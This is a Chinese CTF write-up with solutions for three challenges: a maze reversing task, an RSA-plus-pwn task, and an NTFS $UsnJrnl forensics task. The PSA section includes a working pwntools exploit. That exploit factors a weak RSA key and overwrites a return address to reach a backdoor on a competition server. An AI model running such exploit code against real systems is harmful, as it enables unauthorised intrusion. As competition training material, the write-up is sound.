MT-CTF初赛 部分RE、PWN、MISC

注意
本文最后更新于 2024-02-11,文中内容可能已过时。

师傅们太强啦,被带飞了!团队总分第一名!

100mazes

编写IDA Python脚本导出函数信息

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# coding: utf-8
import idc
import idaapi
import ida_auto
w
fun_cnt = idaapi.get_func_qty()
for i in range(fun_cnt):
    ea = idaapi.getn_func(i).start_ea
    func_name = idaapi.get_func_name(ea)
    if "maze" in func_name:
        #print(func_name)
        idx = func_name.split('_')[2].replace('v', '')
        print(func_name, idx)
        with open(r"F:\share\pwncode\re\maze" + str(idx), "w") as f:
            source = idaapi.decompile(ea, idaapi.hexrays_failure_t(), idaapi.DECOMP_NO_WAIT)
            f.write(str(source))

手动调整部分反汇编内容,再使用以下脚本自动解迷宫

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#encoding:utf-8
from hashlib import md5
from pwn import *
sh = process('./100mazes')
dx = [0, 0, -1, 1]
dy = [-1, 1, 0, 0]
ans = ""
str_map = "上下左右"
def dfs(t, f_x, f_y, x, y):
    global map_data
    global ans
    if t == 15:
        #print('ok')
        return True
    for i in range(4):
        nx = x + dx[i]
        ny = y + dy[i]
        if 0 <= nx < 25 and 0 <= ny < 25 and not (f_x == nx and f_y == ny) and map_data[ny * 25 + nx] == '.':
            if dfs(t + 1, x, y, nx, ny):
                ans = str_map[i] + ans
                return True
    return False
with open(r"./100mazes", "rb") as f:
    file_data = f.read()
map_data = {}
def get_ans(num):
    global map_data
    global str_map
    global ans
    # print(file_data)
    with open("maze" + str(num), "r") as f:
        data = f.read()
        linedata = data.split('\n')
        map_data = {}
        for j in range(625):
            flag = False
            for i in linedata:
                if "[" + str(j) + "] = " in i:
                    flag = True
                    t = i.split(' = ')
                    val = eval(t[1].replace(';', ''))
                    if val < 0:
                        val = val + 256
                    map_data[j] = val
            if not flag:
                map_data[j] = 0
        #print map_data
        # for i in map_data:
        # print(hex(map_data[i]))
        xor_data = {}
        for i in linedata:
            if "0x9C4" in i and "qmemcpy" in i:
                t = i.split('_')
                t = t[1].split(', ')
                addr = int(t[0], 16)
                #print hex(addr)
                offset = addr - 0x5626561b7000 + 0xA0000
                idx = 0
                for j in range(offset, offset + 0x9c4, 4):
                    xor_data[idx] = ord(file_data[j])
                    assert ord(file_data[j + 1]) == 0
                    idx += 1
        #print len(xor_data)
        #print len(map_data)
        for i in xor_data:
            map_data[i] = chr(xor_data[i] ^ map_data[i])
        #print xor_data
        for i in range(25):
            line_data = ""
            for j in range(25):
                line_data += map_data[i * 25 + j]
            #print(line_data)
        in_for = False
        found_cnt = 0
        way_str = ""
        way_name = ""
        for i in linedata:
            if "sizeof" in i:
                t = i.split(', ')
                way_str = eval(t[1])
                way_name = t[0].strip().replace('qmemcpy(', '')
        #print(way_str, way_name)
        ud_name = ""
        lr_name = ""
        way_idx = []
        for i in linedata:
            if "for" in i:
                in_for = True
            if in_for:
                if ud_name == "":
                    if '--' in i:
                        ud_name = i.strip().replace('--', '').replace(';', '')
                elif lr_name == "":
                    if '--' in i:
                        lr_name = i.strip().replace('--', '').replace(';', '')
                if "[" in i and ']' in i and way_name in i:
                    t = eval(i.split('[')[1].split(']')[0])
                    way_idx.append(t)
        str_map = ''.join([way_str[i] for i in way_idx])
        #print way_name
        #print(way_idx)
        #print(ud_name)
        #print(lr_name)
        ur_val = 0
        lr_val = 0
        for i in linedata:
            if ud_name + " = " in i:
                ur_val = eval(i.split(' = ')[1].split(';')[0])
            if lr_name + " = " in i:
                lr_val = eval(i.split(' = ')[1].split(';')[0])
        #print(ur_val)
        #print(lr_val)
        ans = ""
        dfs(0, -1, -1, lr_val, ur_val)
        return ans
        # print(file_data[offset:offset+0x9c4])
        # print(map_data)
context.log_level = "debug"
#print "ans: " + get_ans(1)
#sh.interactive()
all_data = ""
for i in range(100):
    g = get_ans(i + 1)
    all_data += g
    print str(i + 1) + ": " + g
    sh.sendafter('Maze-', g)
d = md5(all_data).hexdigest()
print "flag{" + d[0:8] + "-" + d[8:12] + "-" + d[12:16] + "-" + d[16:20] + "-" +d[20:32] + "}"
sh.interactive()

PSA

找到程序所使用的的rsa模块

https://gitee.com/lch0821/RSA

图片

找到程序使用的记录公钥的rsa_pk_t结构,使用IDA动态调试导出数据。

图片

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
bits = 2048
unsigned char modulus[] =
{
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDB, 0xEA,
0xD6, 0x43, 0xEC, 0xC7, 0xD7, 0x2A, 0x1B, 0x31, 0x03, 0xAB,
0xA0, 0x0F, 0x1C, 0xA3, 0xAD, 0x0C, 0x54, 0xFD, 0x7F, 0x69,
0x78, 0xAE, 0x72, 0xBE, 0xFE, 0x18, 0xA0, 0x43, 0xC1, 0xF9,
0x52, 0xAD, 0xBB, 0x39, 0xC5, 0x64, 0xF0, 0xD4, 0x3B, 0x8E,
0x3A, 0xEB, 0xCA, 0xEC, 0x57, 0x7C, 0x86, 0xE8, 0x11, 0x4C,
0xE1, 0xE4, 0xF5, 0x31, 0xF8, 0x3B, 0x00, 0xFD, 0xD0, 0x5E,
0x9B, 0x62, 0x2A, 0x07, 0xF3, 0x8D, 0x5A, 0x97, 0x9C, 0x88,
0x69, 0x13, 0x9F, 0x0E, 0x1B, 0xDE, 0x97, 0xC1, 0x10, 0x34,
0xAD, 0xFC, 0xB1, 0x5F, 0xDF, 0xFF, 0x8C, 0xFD, 0xB8, 0xC9,
0x0B, 0xC6, 0xD4, 0xA0, 0x0E, 0x18, 0xCA, 0xEB, 0x4B, 0x2E,
0x04, 0x98, 0xBA, 0x70, 0x03, 0xB6, 0x8B, 0x0D, 0xDE, 0xF8,
0xF0, 0xAD, 0xFD, 0xEC, 0x42, 0x16, 0x65, 0x68, 0x05, 0x7F,
0x6C, 0x75, 0xCE, 0xFC, 0x09, 0xE7
};
exponent = 0x10001

http://www.factordb.com/网站上分解n 图片

分解得到p和q,求解得到d即可解密数据。

根据逻辑登录后有一个栈溢出,partial overwrite retn addr到backdoor即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import gmpy2
from pwn import *
from Crypto.Util.number import *
k = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDB, 0xEA,
0xD6, 0x43, 0xEC, 0xC7, 0xD7, 0x2A, 0x1B, 0x31, 0x03, 0xAB,
0xA0, 0x0F, 0x1C, 0xA3, 0xAD, 0x0C, 0x54, 0xFD, 0x7F, 0x69,
0x78, 0xAE, 0x72, 0xBE, 0xFE, 0x18, 0xA0, 0x43, 0xC1, 0xF9,
0x52, 0xAD, 0xBB, 0x39, 0xC5, 0x64, 0xF0, 0xD4, 0x3B, 0x8E,
0x3A, 0xEB, 0xCA, 0xEC, 0x57, 0x7C, 0x86, 0xE8, 0x11, 0x4C,
0xE1, 0xE4, 0xF5, 0x31, 0xF8, 0x3B, 0x00, 0xFD, 0xD0, 0x5E,
0x9B, 0x62, 0x2A, 0x07, 0xF3, 0x8D, 0x5A, 0x97, 0x9C, 0x88,
0x69, 0x13, 0x9F, 0x0E, 0x1B, 0xDE, 0x97, 0xC1, 0x10, 0x34,
0xAD, 0xFC, 0xB1, 0x5F, 0xDF, 0xFF, 0x8C, 0xFD, 0xB8, 0xC9,
0x0B, 0xC6, 0xD4, 0xA0, 0x0E, 0x18, 0xCA, 0xEB, 0x4B, 0x2E,
0x04, 0x98, 0xBA, 0x70, 0x03, 0xB6, 0x8B, 0x0D, 0xDE, 0xF8,
0xF0, 0xAD, 0xFD, 0xEC, 0x42, 0x16, 0x65, 0x68, 0x05, 0x7F,
0x6C, 0x75, 0xCE, 0xFC, 0x09, 0xE7]
n = bytes_to_long(bytes(k))
print(n)
def decodeRsa(data):
p = 1802465129
q = 85677775286350799819413164907044312338120860315888062265846466732206531516128818603767084759306045262988315845019969578355104960893414964164108295557604303075617442207875462568807770788628040323538942313821605582248642687594091287389423069863987130531419955225150766186650988898840084278136888284367
n = p * q
e = 0x10001
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
c = bytes_to_long(data)
m = pow(c, d, n)
return long_to_bytes(m)
while True:
try:
context.log_level = "debug"
sh = remote('115.28.187.226', 28352)
sh.sendlineafter("> ", "2")
sh.sendafter('name:', decodeRsa(b"root"))
sh.sendafter('password:', decodeRsa(b"123456"))
sh.sendafter('message:', 'a' * 0x18 + '\xa2\x29')
sh.sendlineafter("token:", "icqa2c8fd7f47640b7b12c098c5fa4e1", timeout=1)
sh.interactive()
except EOFError:
pass

Different_Puzzle

使用winhex找到$UsnJrnl文件,然后使用UsnJrnl2Csv解析文件得到数据

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
MD5|name|inode|mode_as_string|UID|GID|size|atime|mtime|ctime|crtime
|code128.png|40|UsnJrnl||||2021-05-06 18:04:38.5099346|2021-05-06 18:04:38.5099346|2021-05-06 18:04:38.5099346|2021-05-06 18:04:38.5099346
|code128.png|40|UsnJrnl||||2021-05-06 18:04:38.5109276|2021-05-06 18:04:38.5109276|2021-05-06 18:04:38.5109276|2021-05-06 18:04:38.5109276
|code128.png|40|UsnJrnl||||2021-05-06 18:04:38.5109276|2021-05-06 18:04:38.5109276|2021-05-06 18:04:38.5109276|2021-05-06 18:04:38.5109276
|code128.png|40|UsnJrnl||||2021-05-06 18:04:38.5109276|2021-05-06 18:04:38.5109276|2021-05-06 18:04:38.5109276|2021-05-06 18:04:38.5109276
|code128.png|40|UsnJrnl||||2021-05-06 18:04:38.5109276|2021-05-06 18:04:38.5109276|2021-05-06 18:04:38.5109276|2021-05-06 18:04:38.5109276
|code128.png|40|UsnJrnl||||2021-05-06 18:04:38.5109276|2021-05-06 18:04:38.5109276|2021-05-06 18:04:38.5109276|2021-05-06 18:04:38.5109276
|code128.png|40|UsnJrnl||||2021-05-06 18:04:38.5109276|2021-05-06 18:04:38.5109276|2021-05-06 18:04:38.5109276|2021-05-06 18:04:38.5109276
|code128.png|40|UsnJrnl||||2021-05-06 18:04:38.5109276|2021-05-06 18:04:38.5109276|2021-05-06 18:04:38.5109276|2021-05-06 18:04:38.5109276
|.|5|UsnJrnl||||2021-05-06 18:04:38.5268787|2021-05-06 18:04:38.5268787|2021-05-06 18:04:38.5268787|2021-05-06 18:04:38.5268787
|$RECYCLE.BIN|41|UsnJrnl||||2021-05-06 18:04:38.7396791|2021-05-06 18:04:38.7396791|2021-05-06 18:04:38.7396791|2021-05-06 18:04:38.7396791
|$RECYCLE.BIN|41|UsnJrnl||||2021-05-06 18:04:38.7396791|2021-05-06 18:04:38.7396791|2021-05-06 18:04:38.7396791|2021-05-06 18:04:38.7396791
|$RECYCLE.BIN|41|UsnJrnl||||2021-05-06 18:04:38.7396791|2021-05-06 18:04:38.7396791|2021-05-06 18:04:38.7396791|2021-05-06 18:04:38.7396791
|$RECYCLE.BIN|41|UsnJrnl||||2021-05-06 18:04:38.7396791|2021-05-06 18:04:38.7396791|2021-05-06 18:04:38.7396791|2021-05-06 18:04:38.7396791
|S-1-5-21-3160120873-1190154278-2471696879-1001|42|UsnJrnl||||2021-05-06 18:04:38.7396791|2021-05-06 18:04:38.7396791|2021-05-06 18:04:38.7396791|2021-05-06 18:04:38.7396791
|S-1-5-21-3160120873-1190154278-2471696879-1001|42|UsnJrnl||||2021-05-06 18:04:38.7396791|2021-05-06 18:04:38.7396791|2021-05-06 18:04:38.7396791|2021-05-06 18:04:38.7396791
|S-1-5-21-3160120873-1190154278-2471696879-1001|42|UsnJrnl||||2021-05-06 18:04:38.7406766|2021-05-06 18:04:38.7406766|2021-05-06 18:04:38.7406766|2021-05-06 18:04:38.7406766
|S-1-5-21-3160120873-1190154278-2471696879-1001|42|UsnJrnl||||2021-05-06 18:04:38.7406766|2021-05-06 18:04:38.7406766|2021-05-06 18:04:38.7406766|2021-05-06 18:04:38.7406766
|desktop.ini|43|UsnJrnl||||2021-05-06 18:04:38.7406766|2021-05-06 18:04:38.7406766|2021-05-06 18:04:38.7406766|2021-05-06 18:04:38.7406766
|desktop.ini|43|UsnJrnl||||2021-05-06 18:04:38.7406766|2021-05-06 18:04:38.7406766|2021-05-06 18:04:38.7406766|2021-05-06 18:04:38.7406766
|desktop.ini|43|UsnJrnl||||2021-05-06 18:04:38.7406766|2021-05-06 18:04:38.7406766|2021-05-06 18:04:38.7406766|2021-05-06 18:04:38.7406766
|desktop.ini|43|UsnJrnl||||2021-05-06 18:04:38.7416732|2021-05-06 18:04:38.7416732|2021-05-06 18:04:38.7416732|2021-05-06 18:04:38.7416732
|desktop.ini|43|UsnJrnl||||2021-05-06 18:04:38.7416732|2021-05-06 18:04:38.7416732|2021-05-06 18:04:38.7416732|2021-05-06 18:04:38.7416732
|desktop.ini|43|UsnJrnl||||2021-05-06 18:04:38.7416732|2021-05-06 18:04:38.7416732|2021-05-06 18:04:38.7416732|2021-05-06 18:04:38.7416732
|desktop.ini|43|UsnJrnl||||2021-05-06 18:04:38.7416732|2021-05-06 18:04:38.7416732|2021-05-06 18:04:38.7416732|2021-05-06 18:04:38.7416732
|code128.png|40|UsnJrnl||||2021-05-06 18:04:44.1114777|2021-05-06 18:04:44.1114777|2021-05-06 18:04:44.1114777|2021-05-06 18:04:44.1114777
|code128.png|40|UsnJrnl||||2021-05-06 18:04:44.1114777|2021-05-06 18:04:44.1114777|2021-05-06 18:04:44.1114777|2021-05-06 18:04:44.1114777
|1.png|44|UsnJrnl||||2021-05-06 18:08:51.3358607|2021-05-06 18:08:51.3358607|2021-05-06 18:08:51.3358607|2021-05-06 18:08:51.3358607
|1.png|44|UsnJrnl||||2021-05-06 18:08:51.3368803|2021-05-06 18:08:51.3368803|2021-05-06 18:08:51.3368803|2021-05-06 18:08:51.3368803
|1.png|44|UsnJrnl||||2021-05-06 18:08:51.3378616|2021-05-06 18:08:51.3378616|2021-05-06 18:08:51.3378616|2021-05-06 18:08:51.3378616
|1.png|44|UsnJrnl||||2021-05-06 18:08:51.4844393|2021-05-06 18:08:51.4844393|2021-05-06 18:08:51.4844393|2021-05-06 18:08:51.4844393
|1.png|44|UsnJrnl||||2021-05-06 18:08:51.4844393|2021-05-06 18:08:51.4844393|2021-05-06 18:08:51.4844393|2021-05-06 18:08:51.4844393
|1.png|44|UsnJrnl||||2021-05-06 18:08:51.4844393|2021-05-06 18:08:51.4844393|2021-05-06 18:08:51.4844393|2021-05-06 18:08:51.4844393
|1.png|44|UsnJrnl||||2021-05-06 18:08:52.9588750|2021-05-06 18:08:52.9588750|2021-05-06 18:08:52.9588750|2021-05-06 18:08:52.9588750
|1.png|44|UsnJrnl||||2021-05-06 18:08:52.9588750|2021-05-06 18:08:52.9588750|2021-05-06 18:08:52.9588750|2021-05-06 18:08:52.9588750
|1.png|44|UsnJrnl||||2021-05-06 18:08:53.0306824|2021-05-06 18:08:53.0306824|2021-05-06 18:08:53.0306824|2021-05-06 18:08:53.0306824
|1.png|44|UsnJrnl||||2021-05-06 18:08:53.5263562|2021-05-06 18:08:53.5263562|2021-05-06 18:08:53.5263562|2021-05-06 18:08:53.5263562
|1.png|44|UsnJrnl||||2021-05-06 18:08:53.5263562|2021-05-06 18:08:53.5263562|2021-05-06 18:08:53.5263562|2021-05-06 18:08:53.5263562
|2.png|45|UsnJrnl||||2021-05-06 18:09:08.6015292|2021-05-06 18:09:08.6015292|2021-05-06 18:09:08.6015292|2021-05-06 18:09:08.6015292
|2.png|45|UsnJrnl||||2021-05-06 18:09:08.6015292|2021-05-06 18:09:08.6015292|2021-05-06 18:09:08.6015292|2021-05-06 18:09:08.6015292
|2.png|45|UsnJrnl||||2021-05-06 18:09:08.6015292|2021-05-06 18:09:08.6015292|2021-05-06 18:09:08.6015292|2021-05-06 18:09:08.6015292
|2.png|45|UsnJrnl||||2021-05-06 18:09:08.7601052|2021-05-06 18:09:08.7601052|2021-05-06 18:09:08.7601052|2021-05-06 18:09:08.7601052
|2.png|45|UsnJrnl||||2021-05-06 18:09:08.7601052|2021-05-06 18:09:08.7601052|2021-05-06 18:09:08.7601052|2021-05-06 18:09:08.7601052
|2.png|45|UsnJrnl||||2021-05-06 18:09:08.7601052|2021-05-06 18:09:08.7601052|2021-05-06 18:09:08.7601052|2021-05-06 18:09:08.7601052
|2.png|45|UsnJrnl||||2021-05-06 18:09:09.9295886|2021-05-06 18:09:09.9295886|2021-05-06 18:09:09.9295886|2021-05-06 18:09:09.9295886
|2.png|45|UsnJrnl||||2021-05-06 18:09:09.9295886|2021-05-06 18:09:09.9295886|2021-05-06 18:09:09.9295886|2021-05-06 18:09:09.9295886
|2.png|45|UsnJrnl||||2021-05-06 18:09:09.9475419|2021-05-06 18:09:09.9475419|2021-05-06 18:09:09.9475419|2021-05-06 18:09:09.9475419
|2.png|45|UsnJrnl||||2021-05-06 18:09:09.9485374|2021-05-06 18:09:09.9485374|2021-05-06 18:09:09.9485374|2021-05-06 18:09:09.9485374
|2.png|45|UsnJrnl||||2021-05-06 18:09:20.3167271|2021-05-06 18:09:20.3167271|2021-05-06 18:09:20.3167271|2021-05-06 18:09:20.3167271
|2.png|45|UsnJrnl||||2021-05-06 18:09:20.3167271|2021-05-06 18:09:20.3167271|2021-05-06 18:09:20.3167271|2021-05-06 18:09:20.3167271
|3.png|46|UsnJrnl||||2021-05-06 18:09:26.7178065|2021-05-06 18:09:26.7178065|2021-05-06 18:09:26.7178065|2021-05-06 18:09:26.7178065
|3.png|46|UsnJrnl||||2021-05-06 18:09:26.7178065|2021-05-06 18:09:26.7178065|2021-05-06 18:09:26.7178065|2021-05-06 18:09:26.7178065
|3.png|46|UsnJrnl||||2021-05-06 18:09:26.7178065|2021-05-06 18:09:26.7178065|2021-05-06 18:09:26.7178065|2021-05-06 18:09:26.7178065
|3.png|46|UsnJrnl||||2021-05-06 18:09:26.8873185|2021-05-06 18:09:26.8873185|2021-05-06 18:09:26.8873185|2021-05-06 18:09:26.8873185
|3.png|46|UsnJrnl||||2021-05-06 18:09:26.8873185|2021-05-06 18:09:26.8873185|2021-05-06 18:09:26.8873185|2021-05-06 18:09:26.8873185
|3.png|46|UsnJrnl||||2021-05-06 18:09:26.8873185|2021-05-06 18:09:26.8873185|2021-05-06 18:09:26.8873185|2021-05-06 18:09:26.8873185
|3.png|46|UsnJrnl||||2021-05-06 18:09:28.0712508|2021-05-06 18:09:28.0712508|2021-05-06 18:09:28.0712508|2021-05-06 18:09:28.0712508
|3.png|46|UsnJrnl||||2021-05-06 18:09:28.0712508|2021-05-06 18:09:28.0712508|2021-05-06 18:09:28.0712508|2021-05-06 18:09:28.0712508
|3.png|46|UsnJrnl||||2021-05-06 18:09:28.1161302|2021-05-06 18:09:28.1161302|2021-05-06 18:09:28.1161302|2021-05-06 18:09:28.1161302
|3.png|46|UsnJrnl||||2021-05-06 18:09:28.1161302|2021-05-06 18:09:28.1161302|2021-05-06 18:09:28.1161302|2021-05-06 18:09:28.1161302
|3.png|46|UsnJrnl||||2021-05-06 18:09:34.2853150|2021-05-06 18:09:34.2853150|2021-05-06 18:09:34.2853150|2021-05-06 18:09:34.2853150
|3.png|46|UsnJrnl||||2021-05-06 18:09:34.2853150|2021-05-06 18:09:34.2853150|2021-05-06 18:09:34.2853150|2021-05-06 18:09:34.2853150
|4.png|47|UsnJrnl||||2021-05-06 18:09:41.8023486|2021-05-06 18:09:41.8023486|2021-05-06 18:09:41.8023486|2021-05-06 18:09:41.8023486
|4.png|47|UsnJrnl||||2021-05-06 18:09:41.8023486|2021-05-06 18:09:41.8023486|2021-05-06 18:09:41.8023486|2021-05-06 18:09:41.8023486
|4.png|47|UsnJrnl||||2021-05-06 18:09:41.8023486|2021-05-06 18:09:41.8023486|2021-05-06 18:09:41.8023486|2021-05-06 18:09:41.8023486
|4.png|47|UsnJrnl||||2021-05-06 18:09:41.9499207|2021-05-06 18:09:41.9499207|2021-05-06 18:09:41.9499207|2021-05-06 18:09:41.9499207
|4.png|47|UsnJrnl||||2021-05-06 18:09:41.9499207|2021-05-06 18:09:41.9499207|2021-05-06 18:09:41.9499207|2021-05-06 18:09:41.9499207
|4.png|47|UsnJrnl||||2021-05-06 18:09:41.9499207|2021-05-06 18:09:41.9499207|2021-05-06 18:09:41.9499207|2021-05-06 18:09:41.9499207
|4.png|47|UsnJrnl||||2021-05-06 18:09:42.9309860|2021-05-06 18:09:42.9309860|2021-05-06 18:09:42.9309860|2021-05-06 18:09:42.9309860
|4.png|47|UsnJrnl||||2021-05-06 18:09:42.9319831|2021-05-06 18:09:42.9319831|2021-05-06 18:09:42.9319831|2021-05-06 18:09:42.9319831
|4.png|47|UsnJrnl||||2021-05-06 18:09:42.9429536|2021-05-06 18:09:42.9429536|2021-05-06 18:09:42.9429536|2021-05-06 18:09:42.9429536
|4.png|47|UsnJrnl||||2021-05-06 18:09:42.9429536|2021-05-06 18:09:42.9429536|2021-05-06 18:09:42.9429536|2021-05-06 18:09:42.9429536
|4.png|47|UsnJrnl||||2021-05-06 18:09:48.8744665|2021-05-06 18:09:48.8744665|2021-05-06 18:09:48.8744665|2021-05-06 18:09:48.8744665
|4.png|47|UsnJrnl||||2021-05-06 18:09:48.8754636|2021-05-06 18:09:48.8754636|2021-05-06 18:09:48.8754636|2021-05-06 18:09:48.8754636
|5.png|48|UsnJrnl||||2021-05-06 18:09:56.1946732|2021-05-06 18:09:56.1946732|2021-05-06 18:09:56.1946732|2021-05-06 18:09:56.1946732
|5.png|48|UsnJrnl||||2021-05-06 18:09:56.1946732|2021-05-06 18:09:56.1946732|2021-05-06 18:09:56.1946732|2021-05-06 18:09:56.1946732
|5.png|48|UsnJrnl||||2021-05-06 18:09:56.1956420|2021-05-06 18:09:56.1956420|2021-05-06 18:09:56.1956420|2021-05-06 18:09:56.1956420
|5.png|48|UsnJrnl||||2021-05-06 18:09:56.3761598|2021-05-06 18:09:56.3761598|2021-05-06 18:09:56.3761598|2021-05-06 18:09:56.3761598
|5.png|48|UsnJrnl||||2021-05-06 18:09:56.3761598|2021-05-06 18:09:56.3761598|2021-05-06 18:09:56.3761598|2021-05-06 18:09:56.3761598
|5.png|48|UsnJrnl||||2021-05-06 18:09:56.3771572|2021-05-06 18:09:56.3771572|2021-05-06 18:09:56.3771572|2021-05-06 18:09:56.3771572
|5.png|48|UsnJrnl||||2021-05-06 18:09:57.4918020|2021-05-06 18:09:57.4918020|2021-05-06 18:09:57.4918020|2021-05-06 18:09:57.4918020
|5.png|48|UsnJrnl||||2021-05-06 18:09:57.4918020|2021-05-06 18:09:57.4918020|2021-05-06 18:09:57.4918020|2021-05-06 18:09:57.4918020
